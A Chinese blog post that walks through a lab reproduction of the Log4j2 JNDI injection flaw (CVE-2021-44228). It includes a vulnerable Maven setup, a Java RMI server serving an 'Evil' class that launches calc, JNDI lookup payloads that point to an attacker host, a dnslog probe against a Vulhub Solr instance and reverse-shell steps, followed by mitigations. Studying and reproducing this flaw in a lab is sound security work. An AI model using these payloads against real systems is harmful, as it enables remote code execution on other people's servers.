【漏洞学习及复现】Log4j2(CVE-2021-44228)漏洞复现

Log4j2漏洞(CVE-2021-44228)

Log4j2

Apache Log4j2 是一个基于Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

影响范围

  • 2.0-beta9 <= Apache Log4j <= 2.3
  • 2.4 <= Apache Log4j <= 2.12.1
  • 2.13.0<= Apache Log4j <= 2.15.0-rc1

前置知识

Lookup

顾名思义,就是查找,在Log4j2中,日志输出时通过某种方式去查找要输出的内容。其本身是抽象的,相当于于一个接口,如何查找,查找什么东西,需要具体的模块去实现。

JNDI

NDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

简而言之,JNDI本身相当于字典的数据源,通过JNDI接口,传递一个name,从而获取对象。对于不同的数据源,也有不同的方法。

https://gitee.com/mightyz/huixin/raw/master/2022-11-318:19:371.jpg

Lookup-JNDI

即Lookup的一种具体实现方式。

自Log4j 2.17.0起,JNDI操作要求将log4j2.enableJndiLookup=true设置为系统属性或相应的环境变量,以便此查找正常工作。请参阅enableJndiLookup系统属性。 JndiLookup允许通过JNDI检索变量。默认情况下,该键将以java:comp/env/作为前缀,但是如果该键包含“:“,则不会添加前缀。 JNDI查找仅支持java协议或不支持任何协议(如下例所示)。

<File name="Application" fileName="application.log">
      <PatternLayout>
        <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
      </PatternLayout>
</File>

LDAP

轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。

RMI

RMI(Remote Method Invocation)是一种执行远程调用的Java API。RMI的目的是使在不同计算机上运行的对象(Object)之间的调用行为类似于本地调用。

在RMI机制中,服务器(Server)应实现一定的功能并将其注册到注册表(Registry)中,客户端(Client)应在注册表的命名空间(Naming space)中获取对象。

漏洞原理

用户的输入利用Lookup的方法,利用JNDI注入,达到攻击目的。

漏洞复现

导入Log4j2依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Log4j2_CVE-2021-44228</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

        <log4j.version>2.14.0</log4j.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>${log4j.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>${log4j.version}</version>
        </dependency>
    </dependencies>

</project>

创建RMIServer类,模拟注册中心

package com.huixin.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args){
        try {

            //在本地1099端口开启服务
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            //输出创建成功语句
            System.out.println("Create RMI Server on port 1099");
            //在此服务上,绑定编写好的一个利用类
            Reference reference = new Reference("com.huixin.rmi.Evil","com.huixin.rmi.Evil",null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil",referenceWrapper);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

创建利用类Evil

//用来模拟攻击行为
package com.huixin.rmi;

import java.io.IOException;

public class Evil {
    static {
        System.out.println(":)");
        try {
            Runtime.getRuntime().exec("calc ");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

创建模拟类Log4j2Test

package com.huixin;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j2Test {
    public static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args){

        String username = "${java:os}";
        String username1 = "${jndi:rmi://172.21.104.161:1099/evil}";

        LOGGER.error("Hello,{}",username);
        LOGGER.error("Hello,{}",username1);
    }
}

运行结果

  • 先启动RMIServer类,开启服务

https://gitee.com/mightyz/huixin/raw/master/2022-11-318:39:241.jpg

  • 再运行模拟类Log4j2Test

https://gitee.com/mightyz/huixin/raw/master/2022-11-318:41:581.jpg

Vulhub复现

使用Ubuntu安装Docker和Docker-compose,一键搭建环境。

https://vulhub.org/

进入目录,输入指令创建环境。

https://gitee.com/mightyz/huixin/raw/master/2022-11-516:21:181.jpg

当执行命令docker-compose up -d 时提示PermissionError ,可通过以下方法解决: 此权限问题是因为默认情况下docker守护程序以root用户身份运行,而您是以非root用户身份运行的。要修复权限错误,请使用以下命令:

 sudo groupadd docker
 sudo usermod -aG docker $USER
//然后注销并重新登陆即可

测试Dnslog

  1. 进入Dnslog.cn生成一个域名,构造注入payload
${jndi:ldap//b6onhv.dnslog.cn}
  1. 访问/admin/cores,注入payload
http://192.168.13.133:8983/solr/admin/cores?action=${jndi:ldap://b6onhv.dnslog.cn}
  1. 回到dnslog页面,刷新,观察解析记录

https://gitee.com/mightyz/huixin/raw/master/2022-11-516:30:181.jpg

反弹shell连接

  1. 下载exp,放入kali

https://github.com/bkfish/Apache-Log4j-Learning/

  1. 编写反弹shell,进行base64编码

https://gitee.com/mightyz/huixin/raw/master/2022-11-516:36:441.jpg

  1. 利用工具,打包

https://gitee.com/mightyz/huixin/raw/master/2022-11-516:38:231.jpg

  1. 编写payload,并在kaili机监听端口2810
${jndi:rmi://192.168.13.128:1099/uwo3ad}
${jndi:ldap://192.168.13.128:1389/uwo3ad}

https://gitee.com/mightyz/huixin/raw/master/2022-11-516:41:111.jpg

  1. 注入,并观察kaili机监听端口

https://gitee.com/mightyz/huixin/raw/master/2022-11-516:43:072.jpg

https://gitee.com/mightyz/huixin/raw/master/2022-11-516:43:031.jpg

至此,结束整个流程。

修复方案

  • 升级Apache Log4j2所有相关应用到最新版。
  • 临时方案
    • jvm中添加参数 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)
    • 新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)
    • 设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)
    • 对于log4j2 < 2.10以下的版本,可以通过移除JndiLookup类的方式。
posted @ 2022-11-05 16:59  灰心爷爷  阅读(669)  评论(0编辑  收藏  举报